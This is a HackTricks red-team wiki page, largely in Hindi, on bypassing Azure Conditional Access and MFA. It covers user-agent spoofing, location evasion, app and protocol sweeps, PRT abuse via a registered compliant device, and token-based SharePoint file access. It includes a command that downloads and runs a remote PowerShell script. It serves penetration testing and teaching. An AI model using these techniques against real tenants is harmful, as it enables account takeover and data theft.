Az - Conditional Access Policies & MFA Bypass

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

Azure Conditional Access policies Microsoft Azure में सेट किए गए नियम हैं जो निश्चित शर्तों के आधार पर Azure सेवाओं और एप्लिकेशन तक पहुँच नियंत्रण लागू करते हैं।
ये नीतियाँ संगठनों को उचित परिस्थितियों में सही पहुँच नियंत्रण लागू करके उनके संसाधनों को सुरक्षित करने में मदद करती हैं।
Conditional access policies मूल रूप से परिभाषित करती हैं कि कौन क्या कहाँ से और कैसे एक्सेस कर सकता है।

यहाँ कुछ उदाहरण हैं:

  1. Sign-In Risk Policy: This policy could be set to require multi-factor authentication (MFA) when a sign-in risk is detected. उदाहरण के लिए, यदि किसी उपयोगकर्ता का लॉगिन व्यवहार उनके सामान्य पैटर्न की तुलना में असामान्य हो, जैसे कि किसी अलग देश से लॉगिन करना, तो सिस्टम अतिरिक्त प्रमाणीकरण के लिए संकेत कर सकता है।
  2. Device Compliance Policy: This policy can restrict access to Azure services only to devices that are compliant with the organization’s security standards. उदाहरण के लिए, पहुँच केवल उन डिवाइसों को दी जा सकती है जिनमें अपडेटेड एंटीवायरस सॉफ़्टवेयर है या जो किसी विशेष ऑपरेटिंग सिस्टम संस्करण पर चल रहे हों।

Enumeration

# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'

# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"

Conditional Acces Policies Bypasses

यह संभव है कि एक conditional access policy कुछ ऐसी जानकारी की जांच कर रही हो जिसे आसानी से बदला जा सकता है जिससे policy बायपास हो सके। और उदाहरण के लिए अगर policy MFA कॉन्फ़िगर कर रही थी, तो attacker उसे बायपास कर सकेगा।

जब एक conditional access policy सेट की जाती है तो यह बताना जरूरी होता है कौन से users प्रभावित होंगे और कौन से target resources (जैसे all cloud apps)।

यह भी जरूरी है कि वह conditions कॉन्फ़िगर की जाएँ जो policy को trigger करें:

  • Network: Ip, IP ranges और geographical locations
  • VPN या Proxy का उपयोग करके किसी अनुमत country से कनेक्ट कर के या किसी allowed IP address से लॉगिन कर के इसे बायपास किया जा सकता है
  • Microsoft risks: User risk, Sign-in risk, Insider risk
  • Device platforms: Any device या चुनें Android, iOS, Windows phone, Windows, macOS, Linux
  • अगर “Any device” चुना नहीं गया है लेकिन बाकी सभी विकल्प चुने गए हैं तो इसे उन प्लेटफार्मों से संबंधित न होने वाला कोई random user-agent भेज कर बायपास किया जा सकता है
  • Client apps: विकल्प हैं “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” और “Other clients”
  • लॉगिन को एक न चुने हुए विकल्प से बायपास करने के लिए
  • Filter for devices: इस्तेमाल किए जा रहे device से संबंधित नियम जनरेट करना संभव है
  • Authentication flows: विकल्प हैं “Device code flow” और “Authentication transfer”
  • यह attacker को तब तक प्रभावित नहीं करेगा जब तक कि वह उन protocols में से किसी का दुरुपयोग कर के किसी phishing प्रयास में victim के account तक पहुँचने की कोशिश न कर रहा हो

संभव results हैं: Block या Grant access साथ में संभावित शर्तें जैसे require MFA, device का compliant होना…

Device Platforms - Device Condition

यह संभव है कि आप device platform (Android, iOS, Windows, macOS…) के आधार पर एक condition सेट करें, हालांकि यह user-agent पर आधारित होता है इसलिए इसे बायपास करना आसान है। यहाँ तक कि सभी विकल्पों पर MFA लागू करने पर भी, अगर आप एक ऐसा user-agent उपयोग करते हैं जिसे पहचान नहीं पाता, तो आप MFA या block को बायपास कर पाएंगे:

बस ब्राउज़र को unknown user-agent भेजने से (जैसे Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile) यह condition ट्रिगर नहीं होगी।
आप developer tools में user agent manually बदल सकते हैं:

Or use a browser extension like this one.

Locations: Countries, IP ranges - Device Condition

अगर यह conditional policy में सेट है, तो attacker बस किसी allowed country में स्थित एक VPN का उपयोग कर सकता है या किसी तरह से किसी allowed IP address से एक्सेस पाने की कोशिश कर सकता है ताकि इन conditions को बायपास किया जा सके।

Cloud Apps

यह संभव है कि conditional access policies को configure किया जाए ताकि उदाहरण के लिए जब user किसी विशेष app तक पहुँचने की कोशिश करे तो उसे block या MFA के लिए force किया जाए:

इस सुरक्षा को बायपास करने की कोशिश करने के लिए आपको देखना चाहिए कि क्या आप किसी भी application में सिर्फ login करने में सक्षम हैं।
टूल AzureAppsSweep के पास कई application IDs hardcoded हैं और यह उन पर login कोशिश करेगा और सफल होने पर आपको token भी देगा।

किसी specific resources में specific application IDs को test करने के लिए आप निम्नलिखित जैसे टूल भी उपयोग कर सकते हैं:

roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>

Moreover, it’s also possible to protect the login method (e.g. if you are trying to login from the browser or from a desktop application). The tool Invoke-MFASweep perform some checks to try to bypass this protections also.

The tool donkeytoken could also be used to similar purposes although it looks unmantained.

The tool ROPCI can also be used to test this protections and see if it’s possible to bypass MFAs or blocks, but this tool works from a whitebox perspective. You first need to download the list of Apps allowed in the tenant and then it will try to login into them.

अन्य Az MFA Bypasses

रिंग टोन

One Azure MFA option is to receive a call in the configured phone number where it will be asked the user to send the char #.

Caution

क्योंकि chars केवल tones होते हैं, एक हमलावर फोन नंबर के voicemail संदेश को compromise कर सकता है, संदेश के रूप में tone of # कॉन्फ़िगर कर सकता है और फिर, MFA का अनुरोध करते समय यह सुनिश्चित कर सकता है कि victim का फोन व्यस्त (उसे कॉल करके) हो ताकि Azure कॉल voicemail पर रीडायरेक्ट हो जाए।

Compliant Devices

Policies अक्सर compliant device या MFA मांगती हैं, इसलिए एक हमलावर attacker could register a compliant device, get a PRT token और इस तरह से bypass this way the MFA कर सकता है।

Start by registering a compliant device in Intune, then get the PRT with:

$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>

इस प्रकार के हमले के बारे में अधिक जानकारी के लिए निम्न पृष्ठ देखें:

Az - Primary Refresh Token (PRT)

उपकरण

AzureAppsSweep

यह स्क्रिप्ट कुछ उपयोगकर्ता क्रेडेंशियल प्राप्त करती है और जांचती है कि क्या यह कुछ applications में लॉगिन कर सकती है।

यह उपयोगी है यह देखने के लिए कि क्या कुछ applications में लॉगिन करने के लिए आपको MFA की आवश्यकता नहीं है जिन्हें आप बाद में escalate privileges के लिए दुरुपयोग कर सकते हैं।

roadrecon

सभी नीतियाँ प्राप्त करें

roadrecon plugin policies

Invoke-MFASweep

MFASweep एक PowerShell स्क्रिप्ट है जो दिए गए क्रेडेंशियल्स का उपयोग करके विभिन्न Microsoft सेवाओं में लॉगिन करने और यह पहचानने का प्रयास करती है कि MFA सक्षम है या नहीं। conditional access policies और अन्य multi-factor authentication सेटिंग्स कैसे कॉन्फ़िगर की गई हैं, इस पर निर्भर करके कुछ protocols एकल-फैक्टर के रूप में रह सकते हैं। इसमें ADFS कॉन्फ़िगरेशन के लिए एक अतिरिक्त चेक भी है और पता चलने पर on-prem ADFS सर्वर में लॉगिन करने का प्रयास कर सकता है।

Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>

ROPCI

यह टूल कई प्रोडक्शन AAD टेनेंट्स में MFA bypasses की पहचान करने और बाद में APIs का दुरुपयोग करने में मददगार रहा है, जहाँ AAD ग्राहक मानते थे कि उनके लिए MFA लागू है, लेकिन ROPC-आधारित authentication सफल रहा।

Tip

brute-force करने के लिए applications की सूची जेनरेट करने के लिए, आपके पास सभी applications को सूचीबद्ध करने की अनुमतियाँ होनी चाहिए।

./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json

donkeytoken

Donkey token फ़ंक्शन्स का एक सेट है जो उन सुरक्षा सलाहकारों की मदद करने के लिए बनाया गया है जिन्हें Conditional Access Policies, 2FA-enabled Microsoft portals आदि के परीक्षणों को सत्यापित करना होता है।

git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force

प्रत्येक पोर्टल का परीक्षण करें कि क्या MFA के बिना login संभव है:

$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue

क्योंकि Azure portal सीमित नहीं है, पिछली execution द्वारा पहचाने गए किसी भी service तक पहुँचने के लिये portal endpoint से token इकट्ठा करना संभव है। इस मामले में Sharepoint पहचाना गया था, और इसे access करने के लिए token का अनुरोध किया गया:

$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

मान लीजिए token के पास Sites.Read.All (from Sharepoint) अनुमति है — भले ही आप MFA के कारण वेब से Sharepoint को एक्सेस न कर पाएं, generated token का उपयोग करके files तक पहुँचना संभव है:

$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl

संदर्भ

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें